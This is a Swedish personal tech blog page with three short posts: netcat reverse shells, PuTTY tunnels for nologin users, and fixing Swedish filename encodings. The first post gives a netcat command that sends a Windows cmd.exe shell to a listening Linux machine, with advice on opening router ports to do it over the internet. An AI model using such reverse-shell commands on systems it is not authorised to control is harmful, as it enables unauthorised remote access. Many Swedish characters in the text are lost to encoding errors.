Etikett: shell

Reverse shell

P? din linux maskin skriver du

nc -l 9090

P? fj?rrdatorn (windows) skriver du

nc 192.168.1.222 9090 -e cmd.exe

Vips lustigt s? har du ett dos-shell fr?n windows maskinen i ditt linux shell. Om du vill g?ra denna ?vning ?ver internet s? m?ste r?tt portar ?ppnas i de routrar p? v?gen mellan maskinerna.

Netcat (nc) finns default i de flesta linux, f?r windows s? m?ste du ladda ner filen fr?n SecurityFocus eller eller fr?n mig (samma fil)

När du tunnlar med putty och inte vill ha ett shell

Om har valt att konfigurerar putty som en tunnel och samtidigt flyttar din ssh daemon till oprt 443 s? leker livet, f?rutom n?r du vill l?ta en bekant anv?nda tunneln…  Det kan d? k?nnas os?kert att l?ta din bekant f? tillg?ng till ett shell, speciellt d? samme bekant ?r lindrigt bevandrad I hur man anv?nder ett linux shell p? ett bra s?tt Smile  

Knepet ?r d? att skapa en ny anv?ndare f?r din bekant, anv?nd l?sen eller nycklar for authentisering. Anv?ndarens shell s?tts sj?lvklart till /sbin/nologin och nu leker livet… trodde du…  I en s?dan h?r upps?ttning s? kopplar putty ner direkt, s? tunneln som s? vacker lockat rasar direkt.

L?sningen p? det ?r att I putty under connection –> ssh s?tta en bock I rutan Don’t start a shell or command at all. D? h?lls tunneln ?ppen ?ven f?r anv?ndare som har nologin som shell.

Fiffigt, eller hur

image

Locales from hell

Antingen ?r det bara jag som har prblem eller s? ?r jag helt usel p? att googla… Men jag har alltid haft problem n?r man kombinerar samba linux putty och windows.

Det blir alltid knas med svenska filnamn och jag har f?tt sitta och editera samba conf:en och locales och en massa sm? filer f?r att f? det att fungera bra, dvs. dom svenska tecknen i filnamn ska visas som svenska i putty, i alla samba shares och man ska kunna skapa svenska filnamn fr?n windows och terminalen och det ska fortfarande vara svenska tecken oavsett hur man tittar p? filnamnen.

?NTLIGEN har jag f?tt fram en l?sning!

Steg ett ?r att editera

/etc/default/locale

det enda som ska st? i den filen ?r

LANG="sv_SE.UTF-8"
LC_CTYPE="en_US.UTF-8"
LC_NUMERIC="sv_SE.UTF-8"
LC_TIME="sv_SE.UTF-8"
LC_COLLATE="sv_SE.UTF-8"
LC_MONETARY="sv_SE.UTF-8"
LC_MESSAGES="en_US.UTF-8"
LC_PAPER="sv_SE.UTF-8"
LC_NAME="en_US.UTF-8"
LC_ADDRESS="sv_SE.UTF-8"
LC_TELEPHONE="sv_SE.UTF-8"
LC_MEASUREMENT="sv_SE.UTF-8"
LC_IDENTIFICATION="sv_SE.UTF-8"
LC_ALL=

Sen ska du i putty ?ndra translation till UTF-8 (I inst?llningarna f?r putty ligger det under Windows –> translation)

Nu leker livet och allt ?r bra, om du nu har filer p? din linux disk som ?r sedan tidigare och visar konstiga tecken i svenska filnamn har du bara lite mer att trixa med sen kommer ditt liv att vara solig och glatt, ?tminstonde under ?versk?dlig framtid…

Testa att skriva

ls | iconv -f ISO_8859-15 -t UTF-8

H?r kan du unders?ka vilket format de gamla svenska tecknen har, byt ut ISO_8859-15 mot andra kodningar s? formas tecknen om till UTF-8 n?r dom listas. N?r du klurat ut vilken kodning dom har, dvs. n?r dom visas r?tt s? kan du konvertera filnamnet med

convmv -f ISO_8859-15 -t UTF-8 *

Samma h?r, den kodning du fick fram i f?rra steget anv?nder du i –f parametern (-f fr?n & –t till). K?r du kommandot s? h?r s? visar den bara vad som g?rs, ingen ?ndring g?rs. ?r du ?r ?vertygad att det blir bra s? l?gger du bara till –notest p? slutet av raden s? g?rs ?ndringarna p? riktigt.

Och om det skulle skita sig s? l?ser du bara in s?kerhetskopiorna du gjorde innan du b?rjade, d? ?r allt som vanligt igen och du kan f?rs?ka en g?ng till.

Det h?r fungerade bra med min Ubuntu 8.10 server, men jag ser inga problem med att g?ra s? h?r p? andra distributioner. S? l?nge som alla bin?rer finns…

© 2024 Editio Princeps

Tema av Anders NorenUpp ↑